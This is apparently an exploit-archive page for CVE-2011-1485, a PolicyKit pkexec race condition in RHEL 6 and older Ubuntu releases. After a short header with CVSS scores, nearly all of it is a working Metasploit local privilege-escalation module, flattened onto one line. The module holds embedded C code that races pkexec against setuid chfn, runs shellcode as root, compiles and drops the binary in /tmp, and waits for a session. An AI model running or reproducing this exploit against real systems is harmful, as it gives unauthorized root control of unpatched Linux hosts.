Linux PolicyKit Race Condition Privilege Escalation

2014.10.19
Credit: xi4oyu
Risk: Medium
Local: Yes
Remote: No


CVSS Base Score: 6.9/10
Impact Subscore: 10/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::Local::Linux def initialize(info = {}) super(update_info(info, 'Name' => 'Linux PolicyKit Race Condition Privilege Escalation', 'Description' => %q( A race condition flaw was found in the PolicyKit pkexec utility and polkitd daemon. A local user could use this flaw to appear as a privileged user to pkexec, allowing them to execute arbitrary commands as root by running those commands with pkexec. Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1 (10.04 LTS) and 0.94-1ubuntu1.1 (9.10) ), 'License' => MSF_LICENSE, 'Author' => [ 'xi4oyu', # exploit '0a29406d9794e4f9b30b3c5d6702c708' # metasploit module ], 'Platform' => [ 'linux'], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2011-1485' ], [ 'EDB', '17942' ], [ 'OSVDB', '72261' ] ], 'DisclosureDate' => "Apr 01 2011" )) register_options([ OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]), OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]), OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]) ]) end def executable_path @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) @executable_path end def exploit main = %q^ /* * Exploit Title: pkexec Race condition (CVE-2011-1485) exploit * Author: xi4oyu * Tested on: rhel 6 * CVE : 2011-1485 * Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~ * U can reach us @ http://www.wooyun.org :) * 0a2940: some changes */ /* #include <stdio.h> #include <limits.h> #include <time.h> #include <unistd.h> #include <termios.h> #include <sys/stat.h> #include <errno.h> #include <poll.h> #include <sys/types.h> #include <stdlib.h> #include <string.h> */ #define dprintf #define NULL ((void*)0) #define MAP_PRIVATE 0x02 #define MAP_FIXED 0x10 #define MAP_ANONYMOUS 0x20 #define MAP_ANON MAP_ANONYMOUS #define MAP_FAILED ((void *)-1) #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define O_CREAT 64 #define O_RDWR 2 #define POLLRDNORM 0x0040 typedef int __pid_t; typedef int __time_t; typedef struct { long __val[2]; } __quad_t; typedef __quad_t __dev_t; typedef long __ino_t; typedef unsigned long __mode_t; typedef long __nlink_t; typedef unsigned int __uid_t; typedef unsigned int __gid_t; typedef long long __off_t; typedef long __blksize_t; typedef long long __blkcnt_t; struct _stat_buff { __dev_t st_dev; /* Device. */ unsigned short int __pad1; __ino_t st_ino; /* File serial number. */ __mode_t st_mode; /* File mode. */ __nlink_t st_nlink; /* Link count. */ __uid_t st_uid; /* User ID of the file's owner. */ __gid_t st_gid; /* Group ID of the file's group.*/ __dev_t st_rdev; /* Device number, if device. */ unsigned short int __pad2; __off_t st_size; /* Size of file, in bytes. */ __blksize_t st_blksize; /* Optimal block size for I/O. */ __blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */ __time_t st_atime; /* Time of last access. */ unsigned long int st_atimensec; /* Nscecs of last access. */ __time_t st_mtime; /* Time of last modification. */ unsigned long int st_mtimensec; /* Nsecs of last modification. */ __time_t st_ctime; /* Time of last status change. */ unsigned long int st_ctimensec; /* Nsecs of last status change. */ unsigned long int __unused4; unsigned long int __unused5; }; struct _pollfd { int fd; /* file descriptor */ short events; /* requested events */ short revents; /* returned events */ }; typedef unsigned long size_t; extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset); extern int mprotect(void *__addr, size_t __len, int __prot); extern void exit(int __status); extern int printf(const char *__format, ...); extern __pid_t fork(void); extern __time_t time(__time_t *t); extern __pid_t getpid(void); extern __uid_t geteuid(void); extern void srand(unsigned int seed); extern int snprintf(char *str, size_t size, const char *format, ...); extern int pipe(int pipefd[2]); extern int close(int fd); extern void write(int fd, const void *buf, size_t count); extern int dup2(int oldfd, int newfd); extern void perror(const char *__s); extern void read(int fd, void *buf, size_t count); extern int execve(const char *filename, char *const argv[], char *const envp); extern int usleep(int usec); extern void *memset(void *s, int c, size_t n); extern void *memcpy(void * dst, const void *src, size_t n); extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout); extern char *strstr(const char *haystack, const char *needle); extern int rand(void); extern int unlink(const char *__name); int main(int argc,char *argv[], char ** envp) { __time_t tim_seed1; __pid_t pid_seed2; int result; struct _stat_buff stat_buff; char * chfn_path = "/usr/bin/chfn"; char * cmd_path = ""; char * pkexec_argv[] = { "/usr/bin/pkexec", "/bin/sh", "-c", cmd_path, NULL }; int pipe1[2]; int pipe2[2]; int pipe3[2]; __pid_t pid,pid2 ; char * chfn_argv[] = { "/usr/bin/chfn", NULL }; char buff[8]; char read_buff[4096]; char real_path[512]; int count = 0; int flag = 0; unsigned int usleep1 = 0; unsigned int usleep2 = 0; tim_seed1 = time(NULL); pid_seed2 = getpid(); srand(tim_seed1+pid_seed2); if(!geteuid()){ unlink(cmd_path); SHELLCODE int shellcode_size = 0; int i; unsigned long (*func)(); func = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 ); mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); dprintf("Copying %d bytes of shellcode\n", shellcode_size); //for (i = 0; i < shellcode_size; i++) { //(char)func[i] = (char)shellcode[i]; memcpy(func,shellcode,shellcode_size); //} dprintf("Forking before calling shellcode: 0x%p\n", func); if (fork()) { exit(0); } func(); } if(pipe(pipe1)){ perror("pipe"); exit(-2); } for(count = COUNT; count && !flag; count--){ dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2); pid = fork(); if( !pid ){ // Parent if( !pipe(pipe2)){ if(!pipe(pipe3)){ pid2 = fork(); if(!pid2){ // Parent 2 close(1); close(2); close(pipe1[0]); dup2(pipe1[1],2); dup2(pipe1[1],1); close(pipe1[1]); close(pipe2[0]); close(pipe3[1]); write(pipe2[1],"\xFF",1); read(pipe3[0],&buff,1); execve(pkexec_argv[0],pkexec_argv,envp); perror("execve pkexec"); exit(-3); } close(0); close(1); close(2); close(pipe2[1]); close(pipe3[0]); read(pipe2[0],&buff,1); write(pipe3[1],"\xFF",1); usleep(usleep1+usleep2); execve(chfn_argv[0],chfn_argv,envp); perror("execve setuid"); exit(1); } } perror("pipe3"); exit(1); } //Note: This is child, no pipe3 we use poll to monitor pipe1[0] memset(pipe3,0,8); struct _pollfd * pollfd = (struct pollfd *)(&pipe3); pollfd->fd = pipe1[0]; pollfd->events = POLLRDNORM; if(poll(pollfd,1,1000) < 0){ perror("poll"); exit(1); } if(pollfd->revents & POLLRDNORM ){ memset(read_buff,0,4096); read(pipe1[0],read_buff,4095); if( strstr(read_buff,"does not match")){ usleep1 += 100; usleep2 = rand() % 1000; }else{ if(usleep1 > 0){ usleep1 -= 100; } } } } result = 0; unlink(cmd_path); return result; } ^ main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode")) main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"") main.gsub!(/COUNT/, datastore["Count"].to_s) main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG'] cpu = nil if target['Arch'] == ARCH_X86 cpu = Metasm::Ia32.new elsif target['Arch'] == ARCH_X86_64 cpu = Metasm::X86_64.new end begin elf = Metasm::ELF.compile_c(cpu, main).encode_string rescue print_error "Metasm Encoding failed: #{$ERROR_INFO}" elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}" return end print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)" rm_f executable_path write_file(executable_path, elf) output = cmd_exec("chmod +x #{executable_path}; #{executable_path}") output.each_line { |line| print_debug line.chomp } stime = Time.now.to_f print_status "Starting the payload handler..." until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f Rex.sleep(1) end end end


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